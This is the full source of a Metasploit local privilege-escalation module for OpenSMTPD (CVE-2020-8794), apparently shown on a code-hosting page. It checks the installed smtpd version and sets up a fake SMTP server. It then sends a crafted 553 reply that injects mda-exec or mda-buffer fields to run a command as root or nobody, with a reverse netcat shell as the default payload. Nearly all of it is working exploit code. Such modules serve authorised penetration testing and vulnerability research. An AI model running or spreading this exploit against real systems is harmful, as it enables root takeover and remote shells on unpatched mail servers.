Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local67# smtpd(8) may crash on a malformed message8Rank = AverageRanking910prepend Msf::Exploit::Remote::AutoCheck11include Msf::Exploit::Remote::TcpServer12include Msf::Exploit::Remote::Expect1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',19'Description' => %q{20This module exploits an out-of-bounds read of an attacker-controlled21string in OpenSMTPD's MTA implementation to execute a command as the22root or nobody user, depending on the kind of grammar OpenSMTPD uses.23},24'Author' => [25'Qualys', # Discovery and PoC26'wvu' # Module27],28'References' => [29['CVE', '2020-8794'],30['URL', 'https://seclists.org/oss-sec/2020/q1/96']31],32'DisclosureDate' => '2020-02-24',33'License' => MSF_LICENSE,34'Platform' => 'unix',35'Arch' => ARCH_CMD,36'Privileged' => true, # NOTE: Only when exploiting new grammar37# Patched in 6.6.4: https://www.opensmtpd.org/security.html38# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e98780654639'Targets' => [40[41'OpenSMTPD < 6.6.4 (automatic grammar selection)',42{43patched_version: Rex::Version.new('6.6.4'),44new_grammar_version: Rex::Version.new('6.4.0')45}46]47],48'DefaultTarget' => 0,49'DefaultOptions' => {50'SRVPORT' => 25,51'PAYLOAD' => 'cmd/unix/reverse_netcat',52'WfsDelay' => 60 # May take a little while for mail to process53},54'Notes' => {55'Stability' => [CRASH_SERVICE_DOWN],56'Reliability' => [REPEATABLE_SESSION],57'SideEffects' => [IOC_IN_LOGS]58}59)60)6162register_advanced_options([63OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])64])6566# HACK: We need to run check in order to determine a grammar to use67options.remove_option('AutoCheck')68end6970def srvhost_addr71Rex::Socket.source_address(session.session_host)72end7374def rcpt_to75"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"76end7778def check79smtpd_help = cmd_exec('smtpd -h')8081if smtpd_help.empty?82return CheckCode::Unknown('smtpd(8) help could not be displayed.')83end8485version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first8687unless version88return CheckCode::Unknown('OpenSMTPD version could not be found.')89end9091version = Rex::Version.new(version)9293if version < target[:patched_version]94if version >= target[:new_grammar_version]95vprint_status("OpenSMTPD #{version} is using new grammar")96@grammar = :new97else98vprint_status("OpenSMTPD #{version} is using old grammar")99@grammar = :old100end101102return CheckCode::Appears(103"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794."104)105end106107CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794.")108end109110def exploit111start_service112113sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"114115print_status("Executing local sendmail(8) command: #{sendmail}")116if cmd_exec(sendmail) != 'true'117fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')118end119end120121def on_client_connect(client)122print_status("Client #{client.peerhost}:#{client.peerport} connected")123124# Brilliant work, Qualys!125case @grammar126when :new127print_status('Exploiting new OpenSMTPD grammar for a root shell')128129yeet = <<~EOF130553-131553132133dispatcher: local_mail134type: mda135mda-user: root136mda-exec: #{payload.encoded}; exit 0\x00137EOF138when :old139print_status('Exploiting old OpenSMTPD grammar for a nobody shell')140141yeet = <<~EOF142553-143553144145type: mda146mda-method: mda147mda-usertable: <getpwnam>148mda-user: nobody149mda-buffer: #{payload.encoded}; exit 0\x00150EOF151else152fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')153end154155sploit = {156'220' => /EHLO /,157'250' => /MAIL FROM:<[^>]/,158yeet => nil159}160161print_status('Faking SMTP server and sending exploit')162sploit.each do |line, pattern|163send_expect(164line,165pattern,166sock: client,167newline: "\r\n",168timeout: datastore['ExpectTimeout']169)170end171rescue Timeout::Error => e172fail_with(Failure::TimeoutExpired, e.message)173ensure174print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")175client.close176end177178def on_client_close(client)179print_status("Client #{client.peerhost}:#{client.peerport} disconnected")180end181182end183184185